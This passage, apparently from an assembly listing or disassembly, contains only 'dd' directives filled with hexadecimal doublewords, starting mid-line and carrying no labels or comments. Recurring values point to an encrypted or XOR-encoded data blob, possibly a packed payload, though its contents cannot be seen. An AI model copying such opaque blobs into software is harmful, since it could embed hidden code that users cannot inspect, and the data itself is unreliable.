21DB9B51h dd 0E74EB43Dh, 0FE4D3044h, 0A0EADE22h, 0AE9363C2h, 0CE6A37A3h dd 6E8D06F0h, 0A93ACA41h, 4E790EBDh, 841DF938h, 0E30641F2h dd 0B5F2F358h, 9E4C3422h, 6E6A37A2h, 6517ACC8h, 84C717E6h dd 6D9E2B40h, 6EB7726Eh, 28978B41h, 4236038Eh, 0B08C2960h dd 0CCB6C92Bh, 0CC100B42h, 7496A085h, 459AB3C0h, 0D0072F0Fh dd 0CCB69AE4h, 99A05A09h, 4FF8EA23h, 4236A846h, 25AF1E78h dd 0CCB6C92Ah, 0CCA44742h, 353DA085h, 0CBB6A08Fh, 2B18C475h dd 0D5E5ECDFh, 0E049683Ch, 6530BDC3h, 5896CF08h, 36F40F78h dd 45FEAD78h, 3186B30Fh, 0CCB7F4DBh, 37B10085h, 3644CCC6h dd 6B7175C8h, 0AD4B48C0h, 0CCB69AEEh, 9E6B200Dh, 0CCB43378h dd 336DA085h, 31BEB30Fh, 0CCB642DBh, 2D37E785h, 31B6A084h dd 0CCB6BDADh, 66960085h, 1A48BD55h, 0CCB6BCF8h, 34DB8BE8h dd 8418345h, 669AA08Fh, 1A48A855h, 0CCB6CFDCh, 0CC106642h dd 0BBFEA085h, 52E24F6Fh, 5448FE26h, 0CCB69E2Dh, 0E0C71B0Ch dd 0F6369A12h, 0FC626BD6h, 0CCA6C6ACh, 0D969A085h, 0F8C59255h dd 0BC27B4Eh, 439B4211h, 0C29334DCh, 0E64937DDh, 18AAA085h dd 306D69F2h, 3EDD4C2Eh, 9442BAE1h, 32FF2F04h, 19124F4Dh dd 8A9FE5C6h, 8B6A08Fh, 31B8114Dh, 0CCB6BBC0h, 0CE36BC85h dd 0CCA47155h, 5DDCA085h, 0EA3D2F3Fh, 7A20D7B9h, 0D0011ADh dd 0A28D9586h, 19124F4Bh, 1A9FEBAEh, 31B69AEEh, 0CCB3BDDBh dd 0C736E785h, 6CB6A08Ch, 3C029D8Eh, 0E18516AFh, 286A1E5Fh dd 5CBCFE26h, 0B8EEC191h, 0CCB69E27h, 3A5FED94h, 0EC570BB4h dd 816936A5h, 0CCB3EAC6h, 0DC863C85h, 3129623Ch, 0F07FDAABh dd 9E2FD666h, 4134E65Dh, 31B6A08Fh, 0CCB3D0C5h, 0CB2EE785h dd 1BB6A085h, 0B1B7BC6Dh, 0CCB69A3Bh, 0CD3603A5h, 2E0E63DAh dd 28B6A084h, 762D5726h, 45FA016Bh, 0CC89C68Eh, 450CA085h dd 0C7714977h, 34EDB06h, 25BC2444h, 31A5A995h, 0CCB799D6h dd 3CBC985h, 2DF9BA2Fh, 0CCB3BD32h, 0A06C1685h, 0BFFA9D12h dd 0CC1D7075h, 0F250A085h, 9C233F7Ch, 0F2363BBCh, 4748E6ACh dd 0CCB69AD1h, 11DB74E8h, 0CCB3DC87h, 47D3BB85h, 7AB08942h dd 0C7550E9h, 0CA5152D8h, 0CC10CC6Eh, 0FC09E785h, 6CB6A085h dd 0CDE1553Ch, 0CCB69E26h, 0B14B1876h, 88150889h, 289371D6h dd 238CF4C0h, 76689103h, 0CCB6DEC6h, 51128985h, 826D8464h dd 9E79FE91h, 0AB072301h, 8BB96E0Dh, 350E94E7h, 0B0B6A08Fh dd 0CC2E4B0Fh, 1490E39Eh, 617C0352h, 2842DD8Ch, 8B85FF7Fh dd 0C270B54Ah, 52E24F69h, 0DDD96326h, 2EC8E295h, 31B6A084h dd 0CCB6BCF8h, 0CA5EBC85h, 0CCB69FF9h, 0DF330085h, 0E33694B2h dd 0CD9451A4h, 0CCB6A181h, 0EBA0DCA5h, 280812BBh, 8FF7E44h dd 0BBB6A08Fh, 0CCB69AE1h, 21568440h, 36969018h, 45C218A9h dd 6A9114EAh, 22FC59ECh, 0CCB77E87h, 4033E785h, 0BBB6A084h dd 0CCB69AE1h, 545D0708h, 93EE3F0Eh, 0A2020E90h, 58D63EB7h dd 67946167h, 0A5FF7E44h, 31B6A08Fh, 0CCB3D30Fh, 290E0085h dd 6BEC07EBh, 4300EFC4h, 138E9242h, 0D6200881h, 0FA777CB6h dd 7E51200Bh, 0E28ADA2Eh, 0C31AC8h, 0F8EC08ABh, 0F89747C8h dd 3A14FB71h, 8FEC07EBh, 2B7164CCh, 0F87552AFh, 817651C5h dd 0F8F48142h, 0B96107E8h, 0F8EC07E7h, 9F6F2C8h, 0F8FD7542h dd 0AE9007E8h, 1F98572Dh, 49EC07DAh, 0F8ECF128h, 56D29CE8h dd 0AD846468h, 73CC0D6h, 5CE9E4FDh, 0D7BB51B9h, 23242C25h dd 11F56B80h, 7D05962Fh, 0B605F250h, 0EE94E0D6h, 0A2945F40h dd 0A59C66C1h, 1C05C004h, 98B6F55Ch, 7B36C7C5h, 8984D087h dd 0B60A1B65h, 0E0019BD6h, 0DAA1CE44h, 6CA0B125h, 0C1430F03h dd 0AD8EA758h, 0B60A8963h, 0F9270DD6h, 119B6h, 4ECB0B01h dd 0A0D01735h, 3005C004h, 0AC97849Fh, 0B60A90E7h, 0AEA63CC9h dd 7EE5C0D6h, 0B605AFAEh, 0FFA040D6h, 7BD3A878h, 909F1724h dd 3005C004h, 1497BF9Fh, 2BA43965h, 0AB193A9Fh, 0B605C0D7h dd 0F43A4660h, 87162FFAh, 0B60942CBh, 221EC0D6h, 0B605C0DBh dd 0AEBF6687h, 733DC0D6h, 9F761127h, 1276939Dh, 6875FA2Fh dd 0C3B55C84h, 0B605C01Bh, 4D2A278Bh, 58BA99A1h, 43201CBh dd 73FEED39h, 1494C7DFh, 2E692674h, 37E5B1A7h, 21523ECFh dd 0B605A7DAh, 0B6054263h, 0F2D68D6h, 311341B9h, 8D62595Dh dd 0B63198CBh, 0A1EC0D6h, 0B605C0DBh, 94C36533h, 0C289C004h dd 0B605AFFCh, 9CCDB469h, 0F23A755Fh, 0F001A9F7h, 0A5CA4CA0h dd 0AD816465h, 8054C0D6h, 53DF2BFCh, 0F913784h, 6F33E5FCh dd 0DDEA90B4h, 65CA89DCh, 0B605C004h, 0E4D293D6h, 0B5709519h dd 0ACE5C0D6h, 0B605AD43h, 23DC6E8Ah, 0FFDF071Eh, 0B1DA66AAh dd 67CC0D6h, 0C0818785h, 8B926F9Dh, 0DE5F4A0Eh, 1AEBD8B1h dd 0ED8BDC6Ch, 7FE558D7h, 0B6052C65h, 0DCED0D6h, 4600B583h dd 337255A2h, 6180841Fh, 0ACE5EC0Eh, 0B60A90E3h, 0B68F2EC9h dd 4E5C0D6h, 0AD8128D7h, 0F17CC0D6h, 0C8E195B8h, 0DD80CA7Fh dd 30944C86h, 4276815Ch, 2BC9F52Ch, 7D31CF22h, 0B636631Ch dd 0DB9C0D6h, 0C001599Dh, 568FC37Eh, 0B60548BCh, 8C8BC3D6h dd 0B7CF63CCh, 7D0E4205h, 0B605B950h, 25BFB6D6h, 0B605C0DBh dd 0B08ADE87h, 0AEBF65C9h, 0AC39C0D6h, 332D4EBAh, 55D65FBBh dd 0CC1868D1h, 0B6052BBDh, 73500CD6h, 50750653h, 55B84170h dd 3EDE0688h, 75CDFCB2h dd 7C888484h, 0B60AF67Ah, 0AD8163D6h, 117AC0D6h, 0CC840F81h dd 8140AE89h, 6116E9D8h, 0A847DDEh, 4CD2F559h, 69B6150Dh dd 0AB05C004h, 0B605C004h, 0ADF4492Dh, 65CA5679h, 0B605C00Dh dd 1A94E0D6h, 0B63766D1h, 3857C0D6h, 0DAECB9F4h, 7DF6C32Ah dd 0B605BC59h, 0ED8A93D6h, 469C9304h, 0AB05C168h, 0B605AC2Eh dd 406484C1h, 7D16E44Eh, 0FD2C0D22h, 30B11F9Bh, 9205C004h dd 4C42C324h, 294F9FCBh, 0FD2F3E2Dh, 0B52A0F2Eh, 979CC0D6h dd 8F05C004h, 3C4FF279h, 0CC41F85Ch, 5F0D1449h, 0E1E5CE28h dd 1497543Bh, 0FD55A778h, 0B572402Eh, 979CC0D6h, 1505C004h dd 0C5BA504h, 1E858BE3h, 799E65C6h, 9138AA7Eh, 4C0DF317h dd 0AB05C004h, 0B605C14Fh, 2AD976Ch, 3C0EEF0Fh, 0D37EBF08h dd 4EF6C540h, 86B7D08Dh, 0D5BFE6D4h, 9A0DDEDCh, 0B905C004h dd 0FB78BCCFh, 71281502h, 0C546FBB9h, 800E8E58h, 0B61E6165h dd 0DFB715D6h, 5605C005h, 0DE9BC29Eh, 0AEBC667Ah, 1481C0D6h dd 4D523ED2h, 2BA5674Ah, 0EDB80D24h, 0F3282DCDh, 1399DE7Ah dd 8CFE8818h, 0B60A8965h, 0EC0246D6h, 12B0D066h, 0ACEADFABh dd 0B605C14Fh, 8829A803h, 0B466D8E8h, 22EB8E27h, 0DB6900C3h dd 597B1F5Eh, 0AEE766D4h, 5B8DE567h, 0F8EB67DDh, 0A9841FBBh dd 8817BFEAh, 0AEDBF97Ah, 0A4FC1067h, 2AB39A59h, 0E5BE09F4h dd 0A4CE927Bh, 62701067h, 60E910B5h, 24937AEDh, 99A181CCh dd 26531E84h, 0AEE91067h, 0CB690B79h, 0C13F2D0Dh, 0AEE66AAAh dd 48EF3467h, 6778583Ah, 0BE60F494h, 3EE1D683h, 93D21B86h dd 9C3E66F4h, 75E910B5h, 0AEE90DE7h, 0FD700C67h, 75E910BDh dd 0AEE679E1h, 9DE13067h, 65E910B5h, 0F8CC6F42h, 73F20374h dd 1E53489Ch, 0AEE91068h, 5EAF13C7h, 0A47BB02Eh, 0AEE91060h dd 8E3D9D0Fh, 1042754Fh, 751CE639h, 0AEE90E36h, 4620C67h dd 8412F616h, 0AEE768D4h, 0C2D0A767h, 1B8DA6D2h, 42F41D10h dd 73F482FBh, 0AEE97D35h, 90D16567h, 0A3E910B5h, 0AEE91060h dd 2D6E85FDh, 0BACBDCB9h, 0AEE911D7h, 6728127Ch, 28A87323h dd 0C7A70C55h, 3BF841FDh, 8C65A911h, 0C2781A64h, 0ED84D69Eh dd 0A5723F74h, 2BE91067h, 9AE1309Ch, 0B8E910B5h, 0BC980380h dd 0C603B684h, 81B18A34h, 0A635717Ah, 93701067h, 5FE910B5h dd 0E01DBE41h, 5A960492h, 0EC08E17Ah, 0B691C7E6h, 0E604D6F8h dd 0E6043C55h, 210444E6h, 0FB8BF5C3h, 0E1AA24A7h, 0E604D41Fh dd 17D031B0h, 0E7A043A1h, 5E926F40h, 0E595F8F3h, 554BA7E6h dd 6FA4D748h, 877898B0h, 585A4C68h, 0E1AAE01Bh, 0E604D5CCh dd 9803598Dh, 785681FBh, 5CD577A2h, 0A0EF728Ah, 0C191C523h dd 0E604C7E8h, 0E762CF46h, 2F29C7E6h, 84E715A8h, 2C2C1350h dd 24E1F5CAh, 0AF7E0710h, 0EEDD07AEh, 5BAAA660h, 0E59270B5h dd 0EECA1CE6h, 0D857C7E6h, 2AF9D26h, 445C5944h, 0E5938453h dd 1A97A7E6h, 5D6877BFh, 9504C7E8h, 48932C09h, 76C4E3EDh dd 5E08126Fh, 0C2B32AAAh, 5E92EE1Dh, 0E6041967h, 1D96C3E6h dd 8C1FFFFAh, 80A3A1F9h, 0E6045553h, 6FAC52E6h, 44DF920Dh dd 32AD1C7Ch, 3DD146ACh, 8EF6563Dh, 8EAAE01Bh, 0E6043A53h dd 62A2B6E6h, 74DB5999h, 0C2ECB7CEh, 20367740h, 1D97A450h dd 0B7CD4776h, 0E604D375h, 0E592BCFBh, 64A4C7E6h, 0D090DD16h dd 0E604C7E7h, 0E5F7D2FBh, 5C0BC7E6h, 0EC932E06h, 0E604D375h dd 2D68E4Ah, 9A6E6FD4h, 340EDA65h, 0E804C7E8h, 8B698A9Ah dd 0E5928053h, 0EEEE1CE6h, 45DBC7E6h, 0D1DE9C08h, 9881DB18h dd 0FF27356Eh, 0A390EA37h, 0E604C7E8h, 0F45C1C05h, 5EFCCE05h dd 1B04C7E8h, 8211D20Ch, 9A50A040h, 3329FDA5h, 72286C33h dd 0EEDCF0F9h, 0AEA4C7E6h, 2D89CFD4h, 7A668416h, 0EDB5A81Bh dd 0E604C834h, 7ED26B8Bh, 0AE97A89Ch, 5D5ABB86h, 0E604BAFFh dd 4AD9E6h, 0EDB5C11Eh, 0E604C756h, 0BD209CC0h, 6823889h dd 0CF23F076h, 70A4AEAFh, 9174FB05h, 272C5453h, 73D262F0h dd 91098005h, 0B2785453h, 91775598h, 9185846Eh, 0B5FDCE53h dd 30614386h, 26858641h, 9174EED4h, 230DFB53h, 26775453h dd 9177630Dh, 159D1553h, 917771CEh, 91797DF8h, 1BD75453h dd 32FACE4Bh, 0A4775453h, 0AFC5351Dh, 41E26437h, 5216FA8Ch dd 0AB6351DEh, 25D79D6Bh, 9174F0FFh, 9178B953h, 8E045453h dd 89E1F7ACh, 0ED85894Bh, 967C6FCAh, 0AF775453h, 9EBDB903h dd 0DA9AFC21h, 91775480h, 80DAAFEh, 90F1ABF7h, 0B59C5453h dd 78154C1Fh, 0D3F94A90h, 269F642Bh, 9185FF1Ah, 958DB953h dd 223D5453h, 0F81B4275h, 4E76716Eh, 4E7F32E0h, 0DD775453h dd 67229489h, 0F5CB514Ah, 0CD9D4002h, 91775455h, 644CBB76h dd 0F0D7547Fh, 1CB55A1Fh, 9174E26Eh, 0CDB18753h, 7196CA62h dd 7702B033h, 0EC4A087Ch, 497CB2FFh, 0BD775453h, 8AE10B35h dd 17D75AC8h, 9174F06Dh, 0BBB8D53h, 0E53B783Fh, 81DCF51Dh dd 0D1EDD1F1h, 835CDB88h, 25D7CE4Ch, 9174851Ah, 1CFD4A53h dd 3DB0E1FEh, 9105FD73h, 1C775453h, 5EF8FD76h, 0F1775453h dd 60F72BEEh, 0FCC4D32Ah, 9174AA75h, 0BD315453h, 3AE136Ah dd 4DFAB6CDh, 0CD775453h, 61BF71DFh, 2611A903h, 9174E3D3h dd 9178B953h, 0B235453h, 0F3C771E9h, 2DC6C102h, 8B0C308h dd 917771A7h, 25473453h, 9F9D5195h, 91775454h, 8B56376h dd 91777243h, 8BC43453h, 48FA532Fh, 0D5A932C8h, 9174F16Ch dd 1D992F53h, 0D0636545h, 0CA568AA4h, 0EB21644Ah, 9103D6F6h dd 25FA5453h, 0C8775453h, 0B1EE4AC7h, 1778A44Dh, 0F2BF92BBh dd 2613F8C5h, 91858601h, 3C05FB53h, 38775453h, 7A050440h dd 9174FB73h, 6B5453h, 0A60489D5h, 959006CDh, 0C8785453h dd 91775487h, 2E4A5973h, 9177558Fh, 59ECC218h, 9197182Bh dd 0E508DC7Ah, 94B05397h, 0D3F252AEh, 49F432C6h, 0CE71FC6Bh dd 0AB49AA81h, 1A49E9FAh, 0AB89EF8Ah, 0A7CCF008h, 1A559994h dd 0B271618Ah, 0AB49AA88h, 1A49DABFh, 19288A8Ah, 1A49AB22h dd 11C79DEEh, 0CFA20FDAh, 0A42D52C9h, 0AB49AA88h, 1A49852Eh dd 1AF31F8Ah, 0BFFCAA8Ah, 7FD96B4Fh, 0BC2B9A54h, 63446241h dd 0AD49AB13h, 0FAF684A8h, 1A4B381Ch, 46A1AD8Ah, 27C8C33Eh dd 0B05F9ECBh, 90B21858h, 0DA2897AAh, 1A4B3E48h, 17A6078Ah dd 9E7CB442h, 0F9A3A912h, 7A82B2Ch, 0BBC8CE71h, 26F02A7Dh dd 2C6CE552h, 47BDA5CAh, 480A49FDh, 0CBC395B3h, 0A85539C2h dd 0B03C8936h, 60A10DFh, 48EFD27Bh, 296C7C9Fh, 2C6C7C93h dd 0CEA93DC6h, 198CEEC1h, 2C6AFAC2h, 2C5D106Ah, 0E8737B6Ah dd 0F34CEB14h, 0FED796C0h, 5CB75EBBh, 0ABDCEF25h, 9007E784h dd 2C6C490Ch, 2C6AF035h, 5008DA6Ah, 45CEB69Ch, 910C8A8Ch dd 19A96B84h, 2C07F8ADh, 0FFEED26Ah, 296C7B69h, 2C6C7B4Bh dd 3B82EEE9h, 0F3F4CC85h, 64376498h, 0AAAA5CD7h, 0AA944B7Ch dd 8FC3CC84h, 2C6C49A1h, 2C5B244Bh, 89897B6Ah, 2C6C7B41h dd 2C6D3C35h, 3143286Ah, 870C81E5h, 7C529B65h, 6A219B61h dd 3EEC6990h, 0F5EED272h, 0E1BC7A58h, 0D0BB8CD9h, 0D0872358h dd 50BC7A58h, 6CC0A20Fh, 0D0BC8B89h, 0D0BD0063h, 0CA65B358h dd 5948E78Ah, 0E22D134Fh, 0D0BC88D7h, 373C9158h, 3338236Fh dd 0D3BC7A56h, 0D0BC7A40h, 8104C7C0h, 3F266414h, 0E221B4DAh dd 0D0BDD1ECh, 0D0B6E158h, 0B2BC7A58h, 51EEABCBh, 6D037234h dd 0D0BC8921h, 0D102A445h dd 8ADC7A58h, 8CF546AAh, 10DD20FBh, 0D0BC2A63h, 35E71358h dd 3B9FAB5Bh, 4F17EEFCh, 0BEBBEC73h, 0D107E165h, 318A7A58h dd 4478770Fh, 138C4B41h, 0A63C0875h, 6BDC23FBh, 28EA9F80h dd 0DA876CCEh, 168772FBh, 0D0BDF663h, 2612D58h, 79125FD1h dd 0CB89959Eh, 0D0AFE157h, 9BC17A58h, 0DF691A35h, 0A03E5B62h dd 0B8CC7801h, 4EE22C41h, 0D555EBDAh, 0D0BC7A69h, 0E7E9DA80h dd 61C5A2D4h, 0B82085EDh, 8E0C1D59h, 3F326F13h, 0D9398FD9h dd 0D130FE45h, 6DBF7A58h, 0D0BC7A6Eh, 4BDD68F8h, 30B281FCh dd 50DA9F4Bh, 0FC218A7Bh, 0C0BC7A58h, 0E17E54F7h, 12272C1Bh dd 1A87DB15h, 7E7D007Eh, 0F63D6C71h, 6CC13ADBh, 0D0BC7A15h dd 49545A04h, 0D82F7372h, 31056BA3h, 2FDB47DCh, 0D0BDF97Eh dd 85E82D58h, 3C3FD290h, 80DC28B1h, 49DB19FCh, 3785317Ah dd 30DAE204h, 0D0BDF67Eh, 699ACB58h, 0F326700h, 9D25D8A9h dd 4D578021h, 0ED51F4D7h, 0DEA00D45h, 74BF7A58h, 0D0BC7A56h dd 0D0BB0945h, 8ABF7A58h, 0D0BC7A5Ah, 1F967F04h, 0D4055554h dd 0D0BC7A42h, 75752309h, 1A988DB4h, 0BB147F11h, 21475089h dd 0D105A440h, 6CBF7A58h, 0D0BC7A58h, 86506BF8h, 44680BD8h dd 0D0C1E141h, 9967A58h, 970458BFh, 7F7DAA85h, 25117EBDh dd 73C0E2C8h, 0D0BC7A56h, 289772F8h, 0D0832A97h, 4BBC7A58h dd 133E2312h, 30BC7A5Ah, 3A4F0BFDh, 4BB5990Fh, 0D0B3FA43h dd 8ABF7A58h, 0D0BC7A52h, 0D0BDF763h, 9A3C0358h, 0FD096797h dd 7D8FA3Ah, 48F13D9h, 64795C18h, 1BA750DFh, 75040127h dd 0D0BC7A5Bh, 0D0BE0745h, 0E6517A58h, 0D0C1E128h, 46767A58h dd 0E3396B19h, 8892311Fh, 62872415h, 0F3DF9FDBh, 0E33E25F8h dd 32BC7A58h, 0B38B2310h, 110B3FBh, 3E964EF8h, 4C25794Ch dd 0BA832312h, 0E3BC7A6Eh, 942E50C1h, 780323F8h, 0D0BC7A6Ah dd 0D107FA45h, 0F8217A58h, 0F5BC7A58h, 0BA421EC2h, 0D0B98144h dd 5F507A58h, 4462AAD8h, 0BADD2E41h, 0FD1186Bh, 4C4F9B45h dd 74501BC1h, 0FC252A1Bh, 0F4BC7A58h, 0ACCC5376h, 39D40E75h dd 0B3D24D22h, 0BACD3E69h, 0D105E12Bh, 46B87A58h, 153FE94Ah dd 6284A675h, 0F3DF9FDBh, 0D0BB9263h, 0F267D258h, 9B0D6A49h dd 0B081F4h, 0D0BDF963h, 0F5FCCA58h, 27BCA39Ah, 758C864Ah dd 1D7FB333h, 0E57500BAh, 0D40453C3h, 0D0BC7A5Dh, 54DB287Eh dd 0D42F0B90h, 0D0BB8D53h, 0D0BB8C63h, 79266A58h, 0B9D55A7Ah dd 0D0BFE22Eh, 0DF217A58h, 74BC7A58h, 57330647h, 0D11C83F6h dd 0F4217A58h, 70BC7A58h, 35896D6Eh, 0E75385D1h, 0ED54CC9Dh dd 0D3BC7A58h, 0D0BC7A5Ah, 0B16E8BE8h, 0BA8533DBh, 0F3DFA0EBh dd 0D0BDF963h, 0B8583E58h, 328891F0h, 127081E0h, 0F8B6E14Ah dd 633CAF26h, 0F3DFA0EAh, 0F439237Ch, 30BC7A58h, 6BDA5328h dd 4C3AC27Ch, 0D8DC1BC1h, 0D0BC7A5Eh, 0E81D613Bh, 8A27542Dh dd 91DA83E5h, 6D74BA53h, 0EF98ADA8h, 3985693Ah, 0D0AAE168h dd 33AB7A58h, 0D7DB00h, 0C2821E02h, 223BE70Ch, 5E251AE1h dd 77BF8772h, 0D0BC7ACAh, 0D0BB8D63h, 7BFF8258h, 63F8D892h dd 0F3DF9FDBh, 0D0BC7A56h, 0D0BDF963h, 45161A58h, 641ED1B9h dd 6738127Fh, 31F27861h, 1C22D6B3h, 0E8BC7A58h, 0E1BFE2D9h dd 0D0BE55D7h, 0D8DC5A58h, 0D0BC7A40h, 6172FB8Dh, 92932347h dd 0AE936C2Fh, 62036922h, 0D0BC7A5Dh, 0EB600BFAh, 3EDC69DEh dd 4D72B0B0h, 0D255F4D7h, 0D130FE45h, 3EDC7A58h, 0E4918ADCh dd 4C147083h, 0ED7B9C43h, 0DF4025F8h, 6BBC7A58h, 0E097EF62h dd 0D0BD838Eh, 97F17A58h, 0C2E78F36h, 7F5E72C0h, 4D788143h dd 0D0BDF5A1h, 0D392358h, 0E8BC7A58h, 6255A18h, 0AABC7A58h dd 0DE4181BAh, 0F76CCD96h, 6DDABF41h, 0E9538D62h, 0D0BC1A63h dd 75DA5A58h, 0FFDADD93h, 0D0BC7A75h, 0D0BDF663h, 3D53DF58h dd 0DC57ADA0h, 969B6658h, 0F825FEA8h, 0D0A5E104h, 0F3217A58h dd 0BCBC7A58h, 0E22D62E9h, 157C3C4Dh, 0F43E2FCEh, 3CE44E3Dh dd 0E2253733h, 64BC7A58h, 1B6CC99Eh, 6F3516AFh, 0A10FF7C3h dd 9A880C5Ch, 0F3DF9FDBh, 0D0BC2A63h, 0C1FF8458h, 0EC56425Ah dd 184821FEh, 8CE2D864h, 1DB976A8h, 0D0BC0D45h, 62BF7A58h dd 0D0BC7A59h, 0E4DC6F73h, 0D63D72F8h, 86C0EF48h, 0D0BC7A5Ah dd 0D2656BFBh, 0E23C7A58h, 0D0BDF5EFh, 9EBCE258h, 6C4281FBh dd 0E58BFA98h, 913F69CEh, 0A8DA5A6Eh, 92032B3Dh, 62BF690Dh dd 0F3DF9FDBh, 0D0BB8D63h, 0AA3BAF58h, 30C5C26Bh, 0D0BDF763h dd 984D6C58h, 861CDCF1h, 54C4EB5Ah, 4A249AF4h, 7FABFD2Eh dd 0E3776BFAh, 73DAE5B5h, 7A02921Bh, 0D0BC7A40h, 0E3733BF8h dd 0D0BC7AC1h, 39856958h, 0D105E154h, 4D747A58h, 8B148F73h dd 9B26041Dh, 0E1BC7A58h, 0D0BB92DBh, 0E2872358h, 30BC7A58h dd 0E2F5DDF6h, 0D0BC2AD8h, 0A832358h, 0D3BC7A58h, 0D0BC7A6Fh dd 5F87643Bh, 31FA16B9h, 0D0BD0163h, 72D64158h, 0B4B92256h dd 8703BA82h, 0D0BC7A5Ah, 0E33E2315h, 75BC7A58h, 0EA496909h dd 0D0AAE090h, 61A37A58h, 2F44A3D4h, 0CAFA5E49h, 7A6B13DDh dd 6D97AA9Bh, 0E2248C9Ah, 0EBBC7A58h, 80E0FE34h, 69522B37h dd 4A445C25h, 62C0F64Fh, 0F3DF9FDBh, 6C03D270h, 0D0BC7A6Fh dd 0D0AAE0F8h, 916A7A58h, 1766380Ah, 0C6BE8E66h, 1DC9BBBFh dd 56DA50D7h, 73DD6BFAh, 0E124921Bh, 67BC7A58h, 0B22C8E32h dd 71064034h, 0CB766260h, 7551C721h, 0D551F61Bh, 0D0BC8893h dd 0D0BC0D45h, 77BF7A58h, 0D0BC7A59h, 0D4FCCE9Fh, 0D0BC7A41h dd 0B42C46FCh, 0F0D5884Fh, 8B386CB7h, 0E121891Ch, 0E1BC7A58h dd 5D36435Bh, 85CB6579h, 9DB5713h, 990D1770h, 0C13923DAh dd 0E1BC7A58h, 0D0BD01EFh, 0DF412358h, 0E1BC7A58h, 0D0BC7AD9h dd 0E9FA8758h, 30C03AD9h, 7F430BFDh, 4B9C9C3Eh, 0D0BB7643h dd 49DC7A58h, 4BDD5A13h, 0D0BD754Fh, 0F8822358h, 30BC7A58h dd 4CF33340h, 6CC0EF5Fh, 0D0BC7A37h, 0D0B8A445h, 73BF7A58h dd 0D0BC7A59h, 0EC368073h, 0E1BC7163h, 0D0BB8CC3h, 51505A58h dd 50DA97BEh, 0DF548977h, 0EF852A99h, 0E1BC7A58h, 0D0BD02EFh dd 0D0AFE158h, 87427A58h, 90A15509h, 4C36C878h, 2BB93A1h dd 7FDB9BA1h, 0FA778171h, 0D0C20745h, 0F9217A58h, 0C0BC7A58h dd 8ACBD32Eh, 0E2F7CE27h, 0D0BD01D6h, 4BDC5A58h, 0C4250BFCh dd 3985695Dh, 0D107E154h, 34927A58h, 0BAAB61C0h, 14B4FF4Ch dd 0D0BDF763h, 0AC020A58h, 0A727724Ch, 0A5057E75h, 7DB67E41h dd 84B85A73h, 0EF0AE0F9h, 946D98C0h, 0FD8F6191h, 6F0BB8C0h dd 86EC50Eh, 0F1A11A08h, 0BB8C0h, 0EF0BC740h, 0BD54CFC0h dd 0E23C6363h, 6CEF71DDh, 0F76A0093h, 0EF0BB8C6h, 0A40A059Dh dd 2CA94011h, 6A6B6149h, 0F26EC489h, 0EF0BB8E4h, 0F2A8D9F2h dd 2BB0C6EDh, 0C6ADBEE9h, 0AF9F9324h, 0CB0DE654h, 4F777840h dd 91C234E6h, 343FF6E9h, 0FBD28A5h, 0EC34FE27h, 87F8F530h dd 0BB07294Ah, 0A440AB49h, 0EFC300E9h, 91D267A0h, 16B200E9h dd 0C199ED65h, 0D6F4F263h, 15122948h, 34A546EDh, 0A9A27CAAh dd 91C27DD2h, 0CEA3A6E9h, 13D2791Ch, 2FFAFB2Dh, 0EBDCBC13h dd 0F0780E2Bh, 0AB42EE47h, 264531BFh, 0A15E1648h, 9FC300E9h dd 16F3B569h, 59A78266h, 0AF8D8FFDh, 91C0094Ah, 4C4400E9h dd 7C16D485h, 4BE995BEh, 0E077B0E7h, 0FFA246F8h, 2CED15FFh dd 876BC318h, 0F280EF7Ah, 0C96B9F1h, 95FC179Ch, 6E4417B5h dd 0A2A268B6h, 91C41869h dd 0A3F8A9E9h, 0F1C300E9h, 60F4EE47h, 91C2664Ah, 2E0900E9h dd 520EAD1h, 927B67F0h, 0CB2900E9h, 3085690Ch, 9120F46Ah dd 91BE665Dh, 0DF9300E9h, 161813D9h, 484B7305h, 4736F4EFh dd 51ADE01h, 0FFA3E0F0h, 36A3CD6Dh, 0C75AEE1Bh, 0BBC300E9h dd 6493B071h, 0D0A4A62Dh, 0DEA566ABh, 0D3436332h, 0E347A9E9h dd 0F1C300EBh, 431CB94Ch, 91C098F2h, 70F900E9h, 0F1C8074Ah dd 91C27ECFh, 66D720E9h, 36C8CE31h, 81C5C879h, 0BB62797Ch dd 7780BE69h, 0CBB8D627h, 0B5B9FB4Ah, 81ECAB49h, 92A54570h dd 0C85B18AEh, 2C300E9h, 91FD7533h, 183D9D38h, 4546C757h dd 91C76663h, 4DDA00E9h, 91AE9845h, 66A3EB13h, 0B300C5A5h dd 0B61D664Ah, 0A62B00E9h, 38BEC0F0h, 91C30093h, 91C286D2h dd 0D50105E9h, 49794F72h, 36BAFF34h, 91BE67EAh, 0A9E00E9h dd 0FA26F949h, 487DDDA1h, 0DA598578h, 0A4C300E9h, 0A2D5D168h dd 91C41866h, 2CA5E0E9h, 0E246735h, 942CC7D0h, 952FE0C4h dd 91C300EFh, 9DC0D18Bh, 67B619DCh, 34A253AFh, 0B95E0CACh dd 61C300E9h, 1A9CD827h, 94BFE3C2h, 91C300E5h, 6300A39h dd 0F95CC3AFh, 50DB46BAh, 0B9B9F9C3h, 91C27FD2h, 1A8C64E9h dd 99E403D3h, 0DD3B00EBh, 3BA72076h, 0EC2C4CEBh, 0B4C178C0h dd 36C000E9h, 91C300E4h, 91D806F4h, 0B45E00E9h, 8CC300E9h dd 0FABCB61Dh, 0EAD8D343h, 0F5C2F66Eh, 241D5A42h, 0A38285C7h dd 91C3545Dh, 927C67E9h, 14DE00E9h, 469BA300h, 37E50735h dd 0E9EE22DBh, 91C687D1h, 2CA5E0E9h, 94E1FB33h, 91C300F4h dd 4E8D985Eh, 0EF28466Dh, 72526973h, 0D666061h, 0A52F536Eh dd 247D1182h, 91C30DC9h, 91C184F4h, 933A00E9h, 0B55E0C9Eh dd 2EC300E9h, 45A568F7h, 4D983920h, 91C68066h, 91B884F4h dd 23C000E9h, 91C300F0h, 5FECAB49h, 99DDCC4Ch, 1343FA4Ah dd 2DC000E7h, 91C3007Bh, 91C27CD2h, 45A65CE9h, 85413D79h dd 0CAC46952h, 91E0665Ah, 99A300E9h, 91C300F3h, 6106E112h dd 0F329119Bh, 95921B70h, 10D02D5h, 0D2F6B05h, 93300003h dd 0BAFBA9C4h, 0A2C300E9h, 91C30F71h, 0B65D63E9h, 9AC300E9h dd 475833A1h, 0EB26DAF0h, 6558951Ch, 91C300DFh, 0A41C142Eh dd 91C3AA73h, 927D67E9h, 0C1F800E9h, 0ED112C9Eh, 0A2A40045h dd 91C39A66h, 217CE0E9h, 91C300EBh, 91C3B0D2h, 0F3CF1E9h dd 0EBACC9Ah, 0ED396F50h, 61D709C3h, 215AEF6Bh, 952FF9C5h dd 91C300E6h, 0C76A644Ch, 37C5503Bh, 